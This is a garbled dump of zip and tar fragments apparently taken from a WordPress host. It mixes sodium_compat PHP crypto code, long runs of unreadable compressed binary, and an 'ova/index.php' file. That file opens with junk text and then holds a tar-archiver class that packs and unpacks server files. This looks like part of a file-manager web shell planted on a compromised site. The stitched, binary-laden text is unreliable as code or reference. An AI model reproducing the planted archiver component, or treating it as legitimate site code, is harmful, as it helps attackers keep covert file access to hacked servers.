44, 4)); $x12 ^= self::load_4(self::substr($message, 48, 4)); $x13 ^= self::load_4(self::substr($message, 52, 4)); $x14 ^= self::load_4(self::substr($message, 56, 4)); $x15 ^= self::load_4(self::substr($message, 60, 4)); /* j12 = PLUSONE(j12); if (!j12) { j13 = PLUSONE(j13); } */ ++$j12; if ($j12 & 0xf0000000) { throw new SodiumException('Overflow'); } /* STORE32_LE(c + 0, x0); STORE32_LE(c + 4, x1); STORE32_LE(c + 8, x2); STORE32_LE(c + 12, x3); STORE32_LE(c + 16, x4); STORE32_LE(c + 20, x5); STORE32_LE(c + 24, x6); STORE32_LE(c + 28, x7); STORE32_LE(c + 32, x8); STORE32_LE(c + 36, x9); STORE32_LE(c + 40, x10); STORE32_LE(c + 44, x11); STORE32_LE(c + 48, x12); STORE32_LE(c + 52, x13); STORE32_LE(c + 56, x14); STORE32_LE(c + 60, x15); */ $block = self::store32_le((int) ($x0 & 0xffffffff)) . self::store32_le((int) ($x1 & 0xffffffff)) . self::store32_le((int) ($x2 & 0xffffffff)) . self::store32_le((int) ($x3 & 0xffffffff)) . self::store32_le((int) ($x4 & 0xffffffff)) . self::store32_le((int) ($x5 & 0xffffffff)) . self::store32_le((int) ($x6 & 0xffffffff)) . self::store32_le((int) ($x7 & 0xffffffff)) . self::store32_le((int) ($x8 & 0xffffffff)) . self::store32_le((int) ($x9 & 0xffffffff)) . self::store32_le((int) ($x10 & 0xffffffff)) . self::store32_le((int) ($x11 & 0xffffffff)) . self::store32_le((int) ($x12 & 0xffffffff)) . self::store32_le((int) ($x13 & 0xffffffff)) . self::store32_le((int) ($x14 & 0xffffffff)) . self::store32_le((int) ($x15 & 0xffffffff)); /* Partial block */ if ($bytes < 64) { $c .= self::substr($block, 0, $bytes); break; } /* Full block */ $c .= $block; $bytes -= 64; if ($bytes <= 0) { break; } $message = self::substr($message, 64); } /* end for(;;) loop */ $ctx[12] = $j12; $ctx[13] = $j13; return $c; } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function stream($len = 64, $nonce = '', $key = '') { return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_Ctx($key, $nonce), str_repeat("\x00", $len) ); } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function ietfStream($len, $nonce = '', $key = '') { return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_IetfCtx($key, $nonce), str_repeat("\x00", $len) ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @param string $ic * @return string * @throws SodiumException * @throws TypeError */ public static function ietfStreamXorIc($message, $nonce = '', $key = '', $ic = '') { return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_IetfCtx($key, $nonce, $ic), $message ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @param string $ic * @return string * @throws SodiumException * @throws TypeError */ public static function streamXorIc($message, $nonce = '', $key = '', $ic = '') { return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_Ctx($key, $nonce, $ic), $message ); } } PK'L[ */ public static function add(array $a, array $b) { /** @var int $x1 */ $x1 = $a[1] + $b[1]; /** @var int $c */ $c = $x1 >> 32; // Carry if ($a + $b) > 0xffffffff /** @var int $x0 */ $x0 = $a[0] + $b[0] + $c; return array( $x0 & 0xffffffff, $x1 & 0xffffffff ); } /** * @internal You should not use this directly from another application * * @param int $int0 * @param int $int1 * @param int $c * @return array */ public static function rotl_64($int0, $int1, $c) { $int0 &= 0xffffffff; $int1 &= 0xffffffff; $c &= 63; if ($c === 32) { return array($int1, $int0); } if ($c > 31) { $tmp = $int1; $int1 = $int0; $int0 = $tmp; $c &= 31; } if ($c === 0) { return array($int0, $int1); } return array( 0xffffffff & ( ($int0 << $c) | ($int1 >> (32 - $c)) ), 0xffffffff & ( ($int1 << $c) | ($int0 >> (32 - $c)) ), ); } /** * Implements Siphash-2-4 using only 32-bit numbers. * * When we split an int into two, the higher bits go to the lower index. * e.g. 0xDEADBEEFAB10C92D becomes [ * 0 => 0xDEADBEEF, * 1 => 0xAB10C92D * ]. * * @internal You should not use this directly from another application * * @param string $in * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function sipHash24($in, $key) { $inlen = self::strlen($in); # /* "somepseudorandomlygeneratedbytes" */ # u64 v0 = 0x736f6d6570736575ULL; # u64 v1 = 0x646f72616e646f6dULL; # u64 v2 = 0x6c7967656e657261ULL; # u64 v3 = 0x7465646279746573ULL; $v = array( 0x736f6d65, // 0 0x70736575, // 1 0x646f7261, // 2 0x6e646f6d, // 3 0x6c796765, // 4 0x6e657261, // 5 0x74656462, // 6 0x79746573 // 7 ); // v0 => $v[0], $v[1] // v1 => $v[2], $v[3] // v2 => $v[4], $v[5] // v3 => $v[6], $v[7] # u64 k0 = LOAD64_LE( k ); # u64 k1 = LOAD64_LE( k + 8 ); $k = array( self::load_4(self::substr($key, 4, 4)), self::load_4(self::substr($key, 0, 4)), self::load_4(self::substr($key, 12, 4)), self::load_4(self::substr($key, 8, 4)) ); // k0 => $k[0], $k[1] // k1 => $k[2], $k[3] # b = ( ( u64 )inlen ) << 56; $b = array( $inlen << 24, 0 ); // See docblock for why the 0th index gets the higher bits. # v3 ^= k1; $v[6] ^= $k[2]; $v[7] ^= $k[3]; # v2 ^= k0; $v[4] ^= $k[0]; $v[5] ^= $k[1]; # v1 ^= k1; $v[2] ^= $k[2]; $v[3] ^= $k[3]; # v0 ^= k0; $v[0] ^= $k[0]; $v[1] ^= $k[1]; $left = $inlen; # for ( ; in != end; in += 8 ) while ($left >= 8) { # m = LOAD64_LE( in ); $m = array( self::load_4(self::substr($in, 4, 4)), self::load_4(self::substr($in, 0, 4)) ); # v3 ^= m; $v[6] ^= $m[0]; $v[7] ^= $m[1]; # SIPROUND; # SIPROUND; $v = self::sipRound($v); $v = self::sipRound($v); # v0 ^= m; $v[0] ^= $m[0]; $v[1] ^= $m[1]; $in = self::substr($in, 8); $left -= 8; } # switch( left ) # { # case 7: b |= ( ( u64 )in[ 6] ) << 48; # case 6: b |= ( ( u64 )in[ 5] ) << 40; # case 5: b |= ( ( u64 )in[ 4] ) << 32; # case 4: b |= ( ( u64 )in[ 3] ) << 24; # case 3: b |= ( ( u64 )in[ 2] ) << 16; # case 2: b |= ( ( u64 )in[ 1] ) << 8; # case 1: b |= ( ( u64 )in[ 0] ); break; # case 0: break; # } switch ($left) { case 7: $b[0] |= self::chrToInt($in[6]) << 16; case 6: $b[0] |= self::chrToInt($in[5]) << 8; case 5: $b[0] |= self::chrToInt($in[4]); case 4: $b[1] |= self::chrToInt($in[3]) << 24; case 3: $b[1] |= self::chrToInt($in[2]) << 16; case 2: $b[1] |= self::chrToInt($in[1]) << 8; case 1: $b[1] |= self::chrToInt($in[0]); case 0: break; } // See docblock for why the 0th index gets the higher bits. # v3 ^= b; $v[6] ^= $b[0]; $v[7] ^= $b[1]; # SIPROUND; # SIPROUND; $v = self::sipRound($v); $v = self::sipRound($v); # v0 ^= b; $v[0] ^= $b[0]; $v[1] ^= $b[1]; // Flip the lower 8 bits of v2 which is ($v[4], $v[5]) in our implementation # v2 ^= 0xff; $v[5] ^= 0xff; # SIPROUND; # SIPROUND; # SIPROUND; # SIPROUND; $v = self::sipRound($v); $v = self::sipRound($v); $v = self::sipRound($v); $v = self::sipRound($v); # b = v0 ^ v1 ^ v2 ^ v3; # STORE64_LE( out, b ); return self::store32_le($v[1] ^ $v[3] ^ $v[5] ^ $v[7]) . self::store32_le($v[0] ^ $v[2] ^ $v[4] ^ $v[6]); } } PK'L[][7[7 ova/index.phpnu[nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PK'L[hJuuova/autoload.php.php.tar.gznu[W[o6s~ PvXm5,36AAḰ5m%_g-= d\)sX<(91P*yxO>S>WBk)$$|4Qu:[z6ݎ~njO#4FTo%Ϥt_hrE<* V$tld`QYqw8A hn(( iDtă1U .3SZ;DLQC)Eyeۢ\jT-_nIScp[f,~@TJڎW)IbM_\ _{B iXP֭CVG] 03 M-4Dl̕f ݰN;0BrZ |dں20L3( +*:Ba܆,̹ؕ!E}1OhYlbݭb'mqJ Cn/3e˵0 ƸJȇu4s*`4jT긄5ܬ IGb l28ceI66" Mv.:7زEmUFa y3g09 D`rcY TI{%<<|KnV{p6kp?*t(ڦSԶ'3숶?lN9`!۳GR*-8B36i57y-6۫ʴ<ۢ CAE'b$nhq/-XK&.W8 7(ƴu>ta6؞Vܢ \|"w7^cuzM~=pO=cNT1tQt[ (˧:k f}C= 50300) { // Namespaces didn't exist before 5.3.0, so don't even try to use this // unless PHP >= 5.3.0 require_once dirname(__FILE__) . '/lib/namespaced.php'; require_once dirname(__FILE__) . '/lib/sodium_compat.php'; if (!defined('SODIUM_CRYPTO_AEAD_AEGIS128L_KEYBYTES')) { require_once dirname(__FILE__) . '/lib/php84compat_const.php'; } } else { require_once dirname(__FILE__) . '/src/PHP52/SplFixedArray.php'; } if (PHP_VERSION_ID < 70200 || !extension_loaded('sodium')) { if (PHP_VERSION_ID >= 50300 && !defined('SODIUM_CRYPTO_SCALARMULT_BYTES')) { require_once dirname(__FILE__) . '/lib/php72compat_const.php'; } if (PHP_VERSION_ID >= 70000) { assert(class_exists('ParagonIE_Sodium_Compat'), 'Possible filesystem/autoloader bug?'); } else { assert(class_exists('ParagonIE_Sodium_Compat')); } require_once(dirname(__FILE__) . '/lib/php72compat.php'); } elseif (!function_exists('sodium_crypto_stream_xchacha20_xor')) { // Older versions of {PHP, ext/sodium} will not define these require_once(dirname(__FILE__) . '/lib/php72compat.php'); } if (PHP_VERSION_ID < 80400 || !extension_loaded('sodium')) { require_once dirname(__FILE__) . '/lib/php84compat.php'; } require_once(dirname(__FILE__) . '/lib/stream-xchacha20.php'); require_once(dirname(__FILE__) . '/lib/ristretto255.php'); PK'L[ΰ&&ova/ristretto255.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/lib/ristretto255.php000064400000017451150545317560023574 0ustar000S@&SWuIb1W׶KcBCSD[K+t?l??;N6{e2 (ql-Ƚ3%șZңĴ}i_[ՉL=g`bi+2 홎MK1l܆>,:E ָ>0|13u9XtLmrlo _QW2|wl}J {@LeK{yۼ5$nrp EA24< 5./ZgUB>!K7alLl;qуk;БzzFm i}hvȊ?]cKLj0~v{}lytcKk~ZS^I F (=l60mK N0G'aI3`3j(E1\s+xL{ه OM?돎{ /Gqs ('cB1A\pqL=cgA]ڈրp6"gH=V&?$Åy К/u}F\ ^Gע50Ke(f! 0QONZڍ/o;8ߑI+:M+|uBQ$>v.ڭOu}XC[;[Eo3C<|{j^tڭOƉڔX{8>gԸltP TKQn8u?}"_<w ?   juv^Ȩ)^z"l@iQ#JKx^ oob'j"#YK"UZQNyqFXU MH:Օ{QrDaNk'HP@@} f|pݢf}v*SF5G@ H8rBW,'A j>y> :̀ (|~OLueQ @ ]&Pg Z=|3SQRYHpѮ^OmOJ#ڿ^ -å Z Y Y]yA&w0nx]|A :[_`6NmbBzt1&x4\H̖$u2TnBLSQ{wkb6`"_k|^'HlI6Bgye;D/Tq̂5ٱt1Up)t<С1&3ti7`#h%ھ944i߁l`ܩirzw} U$Ҧ/GV >WqCW5IU@"TJԐS1":%xW^g)yb{]N*QdgT. tP%t.%geHy<"y ⪄Nr07NM -OwLLѻF/j7׸E({.  #slX*#(ga7dR#_;:hWS$lE>ދeGO-8ol R]X+a]m 5+G_:B s>rޥӑ2p_!8?E:b추ܸ9xRۨ.m61@pj1s-dѡOc˙PװoxPwŪS"^dg D ֐%;"HSm@E;Zqh= 沽(2>B%FTeeb]<{1aJbʰQ&X}7D7VJJR5Q~P@PeW) xRj}Tx؁4<ӱ1Ӱ_Ӑm]ҪoNF/P0m+Jj /#bL&FG@tQХAjSvtlOP甭3(I=һwME'J\*gR|P; 0,`CȫB-{H]am8,΋upͣ(Dv9]ߕ>#)#hJh42/D'vejĴ\ЭHPTrFx92adH/_Ҳ'S0wy 1Sgnu.s6LX9eDܮr>eh~S">K ^-z"~e\fAzIj,_Z>#Y&:i0gyN])2b#ºo\UaIg#!Ӿ 0d?Xgt׉, AEOTR'Rbr3#Orm*Mj- Hщq T %`|q. O~ ]/O|)LOZ)11p DZ[1.NFhRq)gR(Jhݏa D0sP+.eQ9"`Pp*o8]Pjc2WU$H_2V@YK v:C ~.{|Ƽ*; vn}Yb 0K\FQE6 t/2lUbe'`o[[;iyQx"qy:7^$0y5aRȉV896F`'ׁlA lNCDx0+J@.kYWO-U?+sieO5*l\IƊ!J=laDmYGP͊%]I:`ΥĄ{Ȁv6E( +;F,]110BXӋ+j2oW^%α fxRœ@M}nˮ[\/uţ>F'-eC<3Qt@5Ͷm;)=pBi&ˈBÅ\e~4F6d`XW5|*]8zL\<:1GZX:`%9r c0ݬIfYNZVeߖdՆs2nlS|4-t]!2Zj [M|35f7]!xI*2oe^]eIZE8.2% NK9Tf-<`ḫ${k^-ϚÒk˳Pђja>ku_{jYǕ0(vfirVNVp?% [},^,㈙xe:,a-_#?I}RQKGUЬAcDT$bj7siaa4[U" LTQ tXc!HWQؿo:C88y,Ѵ^,Yi0XUfc9j<;9yd*X9v :I' TQ/?@KkMu QC]blYu2<3 OJ,Dxf]0 +s|-ٗ|L]XYOvc|J 8vp[|@Rsm@k.$ ZuE u`mKCm"9 W1ݫKw4>imv>7v0k0s  F+# x[2SLcy^5oYp#EScn & pz=BV'㎿=s@=N{k3̯&1|D%cLO bˎEG L1ƆԤ{ReN5',sqoƜ<$:%'"3J%Yv`{,RT :)O%vKAs-~y( (ͮ@c[Gߩkk0RD؍L=>.pFV#Ǔ=w *:C5ɉpkA$ز=@ݡ9`B.ڗM1FIIxޚR.甬Y6UR̪m7UiZYT!XL>(LRV°*m]=ETwyPF3b>~) ͉)$XW:ӻ_6v|D^5iZ 7 %ҙ|56l}al/w[kJb;ctQQb±oih+b.&5.qoHKSlIJOŗ^MM %?;S20X${߅] ^&MeQ=NR)q05U@#S`XO# Wg_gG|8Ȋ?2I>hF] }'V`` |tR'3V 0cL@SL(x?/7 U Ru8b4SC!Bge5,% >_Q>a3t1#I^GAЬ[ef:7%_d<QҪx.N<&"bdTkv.ut.rpm^Tu#aK-u~uTi8 4N11`6E@V8(EeW*̤͛K<)>J7H{jSc N2yxzPm޴߇SJy)6j=)k!D?V)⊨.:2y}gvKq@o'U,Yl[0s:]آYzrU>ˇi'`;TDl>7L M[ 긣ږTD𶶡D*zgzlGQlc8ԀF7ރcTd:yL~JЇJװwP"k5ɜIvYHN#g3m u\سh2{ރ䏜nz7 mqqPM4\Fȸ [oKLRceg$:|ύ3+ؕ3߉DQD$g p!8Fb!ۮp0aQ+ȞD>kwyAljJ $f!P>n xԃl6q,2|Q,M"$7VMɣŋ0eϵPR`k@[! CSSBYU0+LpLy? AD(טS]qŇyVDuhM@]Im5P'%`|Gj>%,o4jf$ H3d*u@=2Y=΀e SkI/3rYABi62{\lEX21/"6jD<Ģ*A~XY2,Atnh5K ̏%y0`V@[L~@%o|}Z3BBnVt)cwb Dۻu_wX'vqm>}+JVZ̲ڎ  -tfw^qHԘ]P'L |%LM&ɀ' &R``+P(uqH22`lN,Ɇ tؽxCoUA@{Xq3ӣřMl@#mzoISk{$ћpC6h.`%4_K".1< Z"xiw,\%aYg BNs ^=΀\7WbD9x&ёX*\ ޽^hEŧcWHd"Yf5{cbdؤsvܺMkC\\ˤ_Kƫ\$_>~KvJ"llze}0"R MGgͯe l]2h - li]̯@><̕x"=>|V1y*c]f.V^ݾ+`YQP[kㇱ2PSj]sw̳ہAlšl-t}?<3ĉ-P&.Z !z Iparr6= y0fŔ} H܇~cm<xs[g7t 06 YwkLsl~#QhȇϢTAXPfΓ[FH G]-_N^| `8z4z9a"158tӆಙLUxXN"o37]6 35v~rrx[.d qYL6cͷta]ӣ_U* 9ay!# 㔕5KN@u2?acz[۬ 齂%6ݷŗ{fpp 4uI R)"bQלٔkدN$#=Hl(04DMKެҹ)#؟^ɽ{Wl>ePhG4ʠ ?6:̒%P)3O!s {Q1y!6_\4m.UD#*b*;i)(HOR[VK@(b4exјT>ZS *-f/˜p[Q-ZCG(SM 2BPN+1soR_6w|售J$׃m9㪁s֥xX29N}Be:92Yi׽ E $i'NCᦂt췴[-`TxE.7eRv*hl>D0UD#TྂA4_^sS3h16\Z&s ei±ˣPˣZ MOѶφ7|/wR| r, lxB n쓔}@F+V.KhMSM\iBH,bʒ`/00Q̼u@b7`N b6} $ t<S9/U>Fr:ev+/"?;S2qѳɭK8< {]'#?Y:; 30IgcڃN9m5&N֖Nxvt,_$_IX3RKxvU:H˾E] ϣ&Z2܃)>Vp.9p:qH|3p `b*Rs%UpIr܎ u-%3"rC# \n:s"(26}ꖃXw>tfXO.;}ru n XԀ N ZZ@fp T%CuU,A*m9w(΂:^MQ8½ e$_Ea SA^ٔau|*2"p |}u&陁k-u=+;%Y _Ox-ׁQ1{Fۺ{A _.~#6:xr'0'^g;'ZZ>WW){=vyB^CG3Uت *p6*7xgPa18D*tC,Uƌ' &ymBa46a֥aE#y'y}e*ևcz{=dǖ4o噟T-M 3ѡy2J `Zw1qO iZЁV-P6UvVJ(F$|,)hdv, veI7~h188%[NL [Kf WŴ+w*E`I iR^ʇ0:I n21ӤY2V؊ɩ3 P˻#Cxl1 08;=r嚈ɭ\yeT1l+L˥a *ZP!G|5 -&:U@R؄+7Hń]!n2b8 CrH^lrԽWoLouo-@7I"96} S W"STYRwf-$GK ~J۱YKJϙYՙP r&7"0-a_gJ)Ggl)rl[2ugHK2NӀsmy D9u^C*ٶiΙ9*IW;`/eR C,jz]1"}Xx?( GFy6A _s6J 3)ʳqxJSU<@"v.^4l/J慰Rܩ])2\b r'1pn;X=(9=@6wr^/;Y`LۿpFn0ΪNk yN^ kǛߝ%# {/7oE<̑~ypS/^^@_#xt:pl&򏁌w.+N3]m$\A^q{\n$\( {ϡgm80O׹1T\끰eEi .uB F2|q_/ aÜ(,S>˚_Q#0WYb扥vJaNCA8Cs[d*LNJ5c$wU-j ؔgqyyz:j\4I 3E^{gJ`ƛcQsѻ s7&6;pj2lbH%J }|"TcR&~\J`.smf~P7S O3GGLJd&S#Өb'qaΎ>Gd IjDW&jVY _GKwN2rnBXY߸UWFMZ@@ Xl5呌*i4䃟?c3#եy=k9e….λ˱ ,k?q׈2V*# dUdNY{qFOZ 7FIB"ϟgPB g+g}Q"mv 